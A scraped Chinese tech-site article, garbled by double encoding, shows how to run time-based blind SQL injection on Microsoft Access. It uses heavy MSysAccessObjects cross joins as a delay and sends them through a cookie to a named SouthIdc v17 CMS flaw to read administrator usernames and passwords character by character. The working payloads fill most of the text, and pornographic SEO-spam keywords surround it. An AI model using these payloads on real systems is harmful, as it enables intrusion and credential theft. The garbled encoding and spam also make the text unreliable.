a亚洲精品_精品国产91乱码一区二区三区_亚洲精品在线免费观看视频_欧美日韩亚洲国产综合_久久久久久久久久久成人_在线区

首頁 > 數(shù)據(jù)庫 > Access > 正文

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄

2024-09-07 19:04:26
字體:
供稿:網(wǎng)友

   Access是微軟把數(shù)據(jù)庫引擎的圖形用戶界面和軟件開發(fā)工具結(jié)合在一起的一個數(shù)據(jù)庫管理系統(tǒng)。本文我們來看看Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄。

  概述

  眾所周知,access數(shù)據(jù)庫是不支持基于時間的盲注方式,但是我們可以利用access的系統(tǒng)表MSysAccessObjects,通過多負(fù)荷查詢(Heavy Queries)的方式實現(xiàn)。

  初步探究

  我們以SouthIdcv17數(shù)據(jù)庫為例

  執(zhí)行 select * from Southidc_About ,返回結(jié)果如下圖。

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄    武林網(wǎng)

  如何實現(xiàn)time base injection 呢?我們就要利用這條語句

  SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12

  具體實現(xiàn)方式如下:

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=97

  我們可以執(zhí)行一次,觀察效果。

  很明顯,經(jīng)歷了大約40s才返回結(jié)果

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄

  當(dāng)我們執(zhí)行如下語句時,也就是把最后的97改為96

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=96

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄

  很快就執(zhí)行完畢,沒有延時。

  很明顯,我們通過where條件后的

  (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0

  實現(xiàn)了延時,但需要注意的是這里where后的條件是有順序的,實現(xiàn)延時的語句必須在

  1(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97

  之前,為什么呢?實驗得出的結(jié)論。

  實例實現(xiàn)

  在SouthIdc 17 中,有一處sql注入漏洞,但是常規(guī)的方法并不能成功利用漏洞。漏洞代碼如下:

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄

  雖然程序把Post和Get的數(shù)據(jù)進行了過濾,但是我們依舊我可以通過Cookie的提交方式進行注入。

  好,我們實現(xiàn)一下注入利用。

  我們需要注入的語句為:

  select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc

  通過提交cookie

  Range=DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_image

  ParentID為程序上部傳進的值,最終的語句為:

  1select * from Southidc_DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_imageSort where ViewFlag and ParentID=1

  我們可以在查詢器中看一下效果

  96時,不延時,如圖:

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄

  97時延時,效果如下圖:

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄

  接下來,我們可以利用上述語句進行exp的編寫,筆者這里用python

  核心代碼如下:

Access數(shù)據(jù)庫基于時間sql盲注的實現(xiàn)記錄

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: www.xxx免费| 天天狠天天操 | 亚洲一区在线影院 | 伊人爽| 中文字幕成人在线视频 | 天天操狠狠操网站 | 中文字幕 亚洲一区 | 成人免费视频毛片 | 中文字幕亚洲在线观看 | 蜜桃官网 | 男男gay腐片h大尺度 | 日韩精品第一页 | 久久久久久久久久一区二区 | 国产精品一码二码三码在线 | 亚洲免费观看视频 | 国产精品九九九 | 欧美日韩精品一区二区三区 | 久久综合网址 | 亚洲 精品 综合 精品 自拍 | 亚洲一区二区三区四区五区午夜 | 99久久婷婷国产综合精品 | 亚洲国产精品久久久久秋霞不卡 | 99免费看 | 一区二区高清 | 亚洲经典一区二区三区 | 中文无码久久精品 | 91久久久精品视频 | 欧美日韩色综合 | 免费在线观看毛片网站 | 精品无码久久久久国产 | 欧美一区2区 | 午夜激情影院在线观看 | 国产精品久久久久久久久久三级 | 天堂伊人网 | 日韩在线视频一区二区三区 | 久草在线| 欧美自拍视频 | 9久久精品| 看亚洲一级毛片 | 欧美视频一区二区三区在线观看 | 国产视频一二区 |